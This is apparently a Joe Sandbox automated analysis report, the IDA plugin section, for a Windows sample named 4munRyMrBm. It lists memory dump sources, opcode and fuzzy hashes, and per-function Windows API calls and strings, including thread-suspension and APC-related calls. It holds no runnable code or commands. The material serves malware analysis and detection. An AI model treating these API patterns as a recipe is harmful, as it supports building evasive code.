Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f5e3a5f36c742acf23e0f67f47f7e35e288f742c5cbb7463714353c7f299c5f
Instruction ID: e19708635f354d6a64efd614dbf241f3727af71838f7b46ef519f03677225510
Opcode Fuzzy Hash: 4f5e3a5f36c742acf23e0f67f47f7e35e288f742c5cbb7463714353c7f299c5f
Instruction Fuzzy Hash: 6D21F773F0668686D728AF15E4401AEE232FF88B98F549234DB8C6774ADE3CC941C700

Function 00007FF7C5BE2580 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6ce15b705df1a525a362b136f320cd7ebac4ee5d2a4b91d5a0a8bc25f3be7d2
Instruction ID: 58a42a587180de9702378f3f5baf20aea37dedfec65dd5c1b078234a3e920bec
Opcode Fuzzy Hash: a6ce15b705df1a525a362b136f320cd7ebac4ee5d2a4b91d5a0a8bc25f3be7d2
Instruction Fuzzy Hash: DA21FF33B1865142FBA4AF29A2D167D9750EF8AB90FC82170EE0D03E4ADD1ED4828B00

Function 00007FF7C5BB35A0 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: ExceptionFailFastRaise$Sleep
String ID:
API String ID: 3706814929-0
Opcode ID: d20306b9d74ff1c3dcfd4b0331d8a064e7e4a167fcad3e41ad7a5e05a6cf805d
Instruction ID: 9f594fc665b42328d366d28491c79f63761e0621eaba8ff03bd7532f8e69feb5
Opcode Fuzzy Hash: d20306b9d74ff1c3dcfd4b0331d8a064e7e4a167fcad3e41ad7a5e05a6cf805d
Instruction Fuzzy Hash: C321F923B2894652FB30AF5AE454B7BE651EB84BA4FC05031EF4E42A95DD3ED049C724

Function 00007FF7C5C60980 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c91ad571f7de6f39c899d6f2da8f9893909e3427eea3a74341dff6ea753e2615
Instruction ID: f7725c6ddcad794cf6734e7c2478fcd568dcebe162af7fa5923b94a1f00ffef0
Opcode Fuzzy Hash: c91ad571f7de6f39c899d6f2da8f9893909e3427eea3a74341dff6ea753e2615
Instruction Fuzzy Hash: 7C117373F0554687DB289F15E4401AAE362FB98B58F549634DB8CAB759EE3CC9818700

Function 00007FF7C5C32740 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c44ee67dbf9f67c1e434d495dd4b733789a52c765f804b90257bffb2e3415de3
Instruction ID: 3e1cbf8b394d6c809cf017372beb562b1c1de2d42fb5f2f9bd39badaa986a2bf
Opcode Fuzzy Hash: c44ee67dbf9f67c1e434d495dd4b733789a52c765f804b90257bffb2e3415de3
Instruction Fuzzy Hash: 92F09022E2510785EE28FF12F8810F5E625AF45FA0FD41034DE1E4B762EE6EE885C764

Function 00007FF7C5BB1988 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eeb3dce78a153ba1edd1c80c40559a8acc38b22b0dbc9acbb58384ec871d3ce3
Instruction ID: ff7bd2ccaa21435ba8750ecc31f31a7c794eabbd3481a9760bddaed3e3d07f2d
Opcode Fuzzy Hash: eeb3dce78a153ba1edd1c80c40559a8acc38b22b0dbc9acbb58384ec871d3ce3
Instruction Fuzzy Hash: FDF08C29E2804795FE28FF22EC510B8D2656F5AFA0FC42031EA1E57662ED4EE4048368

Function 00007FF7C5BB2C00 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 144librarythreadloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00007FF7C5BBCAD0
GetProcAddress.KERNEL32 ref: 00007FF7C5BBCAE3
GetCurrentProcess.KERNEL32 ref: 00007FF7C5BBCAF5
VerSetConditionMask.KERNEL32 ref: 00007FF7C5BBCB5B
VerSetConditionMask.KERNEL32 ref: 00007FF7C5BBCB6B
VerSetConditionMask.KERNEL32 ref: 00007FF7C5BBCB7B
VerifyVersionInfoW.KERNEL32 ref: 00007FF7C5BBCBA3
GetProcAddress.KERNEL32 ref: 00007FF7C5BBCBB7
GetLastError.KERNEL32 ref: 00007FF7C5BBCC0E
SuspendThread.KERNEL32 ref: 00007FF7C5BBCC28
GetThreadContext.KERNEL32 ref: 00007FF7C5BBCC49
ResumeThread.KERNEL32 ref: 00007FF7C5BBCC83

Strings

kernel32, xrefs: 00007FF7C5BBCAC3
IsWow64Process2, xrefs: 00007FF7C5BBCAD9
QueueUserAPC2, xrefs: 00007FF7C5BBCBAD

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: ConditionMaskThread$AddressProc$ContextCurrentErrorInfoLastLibraryLoadProcessResumeSuspendVerifyVersion
String ID: IsWow64Process2$QueueUserAPC2$kernel32
API String ID: 2652322181-269241671
Opcode ID: 66f69495e65e7569fab1ee3eca8218c4ab18840aceecc73612b5da8ed725d5cc
Instruction ID: ff075e4421ee3e99366f79a13f8d6c483f5bd409c98f172cf79ce7ff3b423aae
Opcode Fuzzy Hash: 66f69495e65e7569fab1ee3eca8218c4ab18840aceecc73612b5da8ed725d5cc
Instruction Fuzzy Hash: D251B331A08B4381EA64EF25E4942B9A3A1EF98FB0F801235DD5E47794DF7EE405C7A4

Function 00007FF7C5BB2C07 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 142librarythreadloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00007FF7C5BBCAD0
GetProcAddress.KERNEL32 ref: 00007FF7C5BBCAE3
GetCurrentProcess.KERNEL32 ref: 00007FF7C5BBCAF5
VerSetConditionMask.KERNEL32 ref: 00007FF7C5BBCB5B
VerSetConditionMask.KERNEL32 ref: 00007FF7C5BBCB6B
VerSetConditionMask.KERNEL32 ref: 00007FF7C5BBCB7B
VerifyVersionInfoW.KERNEL32 ref: 00007FF7C5BBCBA3
GetProcAddress.KERNEL32 ref: 00007FF7C5BBCBB7
GetLastError.KERNEL32 ref: 00007FF7C5BBCC0E
SuspendThread.KERNEL32 ref: 00007FF7C5BBCC28
GetThreadContext.KERNEL32 ref: 00007FF7C5BBCC49
ResumeThread.KERNEL32 ref: 00007FF7C5BBCC83

Strings

kernel32, xrefs: 00007FF7C5BBCAC3
IsWow64Process2, xrefs: 00007FF7C5BBCAD9
QueueUserAPC2, xrefs: 00007FF7C5BBCBAD

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: ConditionMaskThread$AddressProc$ContextCurrentErrorInfoLastLibraryLoadProcessResumeSuspendVerifyVersion
String ID: IsWow64Process2$QueueUserAPC2$kernel32
API String ID: 2652322181-269241671
Opcode ID: b037745baa6da5cfcea9aa83ba2a3fcd93fe532d42f2725a16f9f08e5f2abdaf
Instruction ID: 9b19cc77ea757bb371746c0f41a549a2d1c075632d1807fa859526f9703c8a05
Opcode Fuzzy Hash: b037745baa6da5cfcea9aa83ba2a3fcd93fe532d42f2725a16f9f08e5f2abdaf
Instruction Fuzzy Hash: 07519331A08B4381EA64EF25E4942BAB7A1EF98FA0F801135DD4E47794DF7EE405C7A4

Function 00007FF7C5BBD7A0 Relevance: 24.1, APIs: 8, Strings: 8, Instructions: 101stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF7C5BC3CD7,?,?,?,?,00007FF7C5BBCCE5), ref: 00007FF7C5BBD7DE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF7C5BC3CD7,?,?,?,?,00007FF7C5BBCCE5), ref: 00007FF7C5BBD806
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF7C5BC3CD7,?,?,?,?,00007FF7C5BBCCE5), ref: 00007FF7C5BBD826
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF7C5BC3CD7,?,?,?,?,00007FF7C5BBCCE5), ref: 00007FF7C5BBD846
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF7C5BC3CD7,?,?,?,?,00007FF7C5BBCCE5), ref: 00007FF7C5BBD866
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF7C5BC3CD7,?,?,?,?,00007FF7C5BBCCE5), ref: 00007FF7C5BBD88A
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF7C5BC3CD7,?,?,?,?,00007FF7C5BBCCE5), ref: 00007FF7C5BBD8AE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF7C5BC3CD7,?,?,?,?,00007FF7C5BBCCE5), ref: 00007FF7C5BBD8D2

Strings

GCHeapHardLimitPercent, xrefs: 00007FF7C5BBD7FC
GCHeapHardLimitSOHPercent, xrefs: 00007FF7C5BBD880
GCHeapHardLimit, xrefs: 00007FF7C5BBD7D7
GCHeapHardLimitLOHPercent, xrefs: 00007FF7C5BBD8A4
GCHeapHardLimitPOHPercent, xrefs: 00007FF7C5BBD8C8
GCHeapHardLimitSOH, xrefs: 00007FF7C5BBD81C
GCHeapHardLimitPOH, xrefs: 00007FF7C5BBD85C
GCHeapHardLimitLOH, xrefs: 00007FF7C5BBD83C

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: strcmp
String ID: GCHeapHardLimit$GCHeapHardLimitLOH$GCHeapHardLimitLOHPercent$GCHeapHardLimitPOH$GCHeapHardLimitPOHPercent$GCHeapHardLimitPercent$GCHeapHardLimitSOH$GCHeapHardLimitSOHPercent
API String ID: 1004003707-945519297
Opcode ID: 197e38a6a36c6bb4220fbaead1b9f78f8d00f9fc7e04546cb49c79d4988069bc
Instruction ID: 5d75c7d390a347ca13568a218e27fc8a7fde2792cfd9de518ca43c7619315b7b
Opcode Fuzzy Hash: 197e38a6a36c6bb4220fbaead1b9f78f8d00f9fc7e04546cb49c79d4988069bc
Instruction Fuzzy Hash: FB413A10E08A4285F650BF1AA9802B5A7A5AF01FF4FC40371DD7D176E9DF6EE802C365

Function 00007FF7C5BBC770 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,00007FF7C5BB2D77), ref: 00007FF7C5BBC793
GetProcAddress.KERNEL32(?,?,?,?,?,00007FF7C5BB2D77), ref: 00007FF7C5BBC7A8
GetEnabledXStateFeatures.KERNEL32(?,?,?,?,?,00007FF7C5BB2D77), ref: 00007FF7C5BBC7B5
InitializeContext.KERNEL32(?,?,?,?,?,00007FF7C5BB2D77), ref: 00007FF7C5BBC7F3
GetLastError.KERNEL32(?,?,?,?,?,00007FF7C5BB2D77), ref: 00007FF7C5BBC801
InitializeContext.KERNEL32(?,?,?,?,?,00007FF7C5BB2D77), ref: 00007FF7C5BBC855

Strings

kernel32.dll, xrefs: 00007FF7C5BBC78C
InitializeContext2, xrefs: 00007FF7C5BBC79E

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: ContextInitialize$AddressEnabledErrorFeaturesHandleLastModuleProcState
String ID: InitializeContext2$kernel32.dll
API String ID: 4102459504-3117029998
Opcode ID: e791e0fb30132a61e3eb76e2c6bd5a731507cf279460a0ad6db0f489b497e7d6
Instruction ID: f8f15b9bf684415ba6b306e7c81fb92721795b0ded9677c3c7e15064d9cb13c3
Opcode Fuzzy Hash: e791e0fb30132a61e3eb76e2c6bd5a731507cf279460a0ad6db0f489b497e7d6
Instruction Fuzzy Hash: 3B313C71A09B4782EA50EF55A880279E790BF84BB0F840435DD4D43764EFBDE485C764

Function 00007FF7C5BB2FB0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C5BBCA30: GetCurrentThreadId.KERNEL32 ref: 00007FF7C5BBCA34

GetCurrentProcess.KERNEL32 ref: 00007FF7C5BB2FF6
GetCurrentThread.KERNEL32 ref: 00007FF7C5BB2FFE
DuplicateHandle.KERNEL32 ref: 00007FF7C5BB3022

Part of subcall function 00007FF7C5BBE230: VirtualQuery.KERNEL32 ref: 00007FF7C5BBE262

RaiseFailFastException.KERNEL32 ref: 00007FF7C5BB3050

Strings

, xrefs: 00007FF7C5BB3064

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: Current$Thread$DuplicateExceptionFailFastHandleProcessQueryRaiseVirtual
String ID:
API String ID: 510365852-3916222277
Opcode ID: 8c5fb5fdf14bd89dc3e7208a8daac008362ad8f2fc794ba5c5d9c6ad877a9deb
Instruction ID: 67b16600dfa0b567397aac47a0e08d062ff508e1b6e0ad0fb00700e8eb1e75e0
Opcode Fuzzy Hash: 8c5fb5fdf14bd89dc3e7208a8daac008362ad8f2fc794ba5c5d9c6ad877a9deb
Instruction Fuzzy Hash: E3119F72A08B828AD760FF15A4401DAB760FB41BB4F540334EABE0B6D6CF79D5428B40

Function 00007FF7C5BE7820 Relevance: 7.6, APIs: 6, Instructions: 138COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7C5BE78D5
LeaveCriticalSection.KERNEL32 ref: 00007FF7C5BE792E
EnterCriticalSection.KERNEL32 ref: 00007FF7C5BE79F1
LeaveCriticalSection.KERNEL32 ref: 00007FF7C5BE7A12
EnterCriticalSection.KERNEL32 ref: 00007FF7C5BE7A55
LeaveCriticalSection.KERNEL32 ref: 00007FF7C5BE7A76

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: c82e06a03de42449a7ba80127898683a8803fd9b600b0a4570787e3761562b1d
Instruction ID: 33a1d141c0a1d685bc5d64544b294e1c556c361a387c87de5cbbcb7ecfdfeb30
Opcode Fuzzy Hash: c82e06a03de42449a7ba80127898683a8803fd9b600b0a4570787e3761562b1d
Instruction Fuzzy Hash: E1616725A09F8684EA50AF11EC802B6F7A0FF85FA4FD91132D98D03765DF7EE04583A0

Function 00007FF7C5BE2B50 Relevance: 7.6, APIs: 6, Instructions: 119COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7C5BE2BF5
LeaveCriticalSection.KERNEL32 ref: 00007FF7C5BE2C4D

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 44bef8495cdef40b8672efc79568375178212e5ab7a7096ebbe9f915a94060e6
Instruction ID: f14959d70c0996fa4dbab0bb2fa7be8d63107442c81126c76cb5b8bd08422997
Opcode Fuzzy Hash: 44bef8495cdef40b8672efc79568375178212e5ab7a7096ebbe9f915a94060e6
Instruction Fuzzy Hash: 71512C25908F8681EA60AF10E8803B6F7A4EF85B65FC90136CA8D13765DF7EE05587A0

Function 00007FF7C5BB3A80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

RaiseFailFastException.KERNEL32 ref: 00007FF7C5BB3B20
RaiseFailFastException.KERNEL32 ref: 00007FF7C5BB3C29
RaiseFailFastException.KERNEL32 ref: 00007FF7C5BB3C66

Strings

Process is terminating due to StackOverflowException., xrefs: 00007FF7C5BB3B0A

Memory Dump Source

Source File: 00000000.00000002.2104626947.00007FF7C5BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C5BB0000, based on PE: true

Associated: 00000000.00000002.2104600148.00007FF7C5BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104777484.00007FF7C5CC9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2104818065.00007FF7C5D09000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D7F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105337248.00007FF7C5D84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105455790.00007FF7C5D87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c5bb0000_4munRyMrBm.jbxd

Similarity

API ID: ExceptionFailFastRaise
String ID: Process is terminating due to StackOverflowException.
API String ID: 2546344036-2200901744
Opcode ID: 9d7b98e1c26a9380dc8d41e070e364fbb808deaa013c945634dfd4d3c0b2d453
Instruction ID: a84e3ccb0000e496890777b8ca42c1ae4c90a5b211f5f5ab1ea0ab529d48feac
Opcode Fuzzy Hash: 9d7b98e1c26a9380dc8d41e070e364fbb808deaa013c945634dfd4d3c0b2d453
Instruction Fuzzy Hash: F5519322B09B4291EF64AF19D4803B9ABA0EF48FB0F944431DE1E47795DF6EE495C318

Function 00007FF7C5BF1540 Relevance: 6.1, APIs: 4, Instructions: 126threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32(?,?,?,00007FF7C5BCC3BB), ref: 00007FF7C5BF15BB
SwitchToThread.KERNEL32(?,?,?,00007FF7C5BCC3BB), ref: 00007FF7C5BF1662
SwitchToThread.KERNEL32(?,?,?,00007FF7C5BCC3BB), ref: 00007FF7C5BF1678

Memory Dump Source

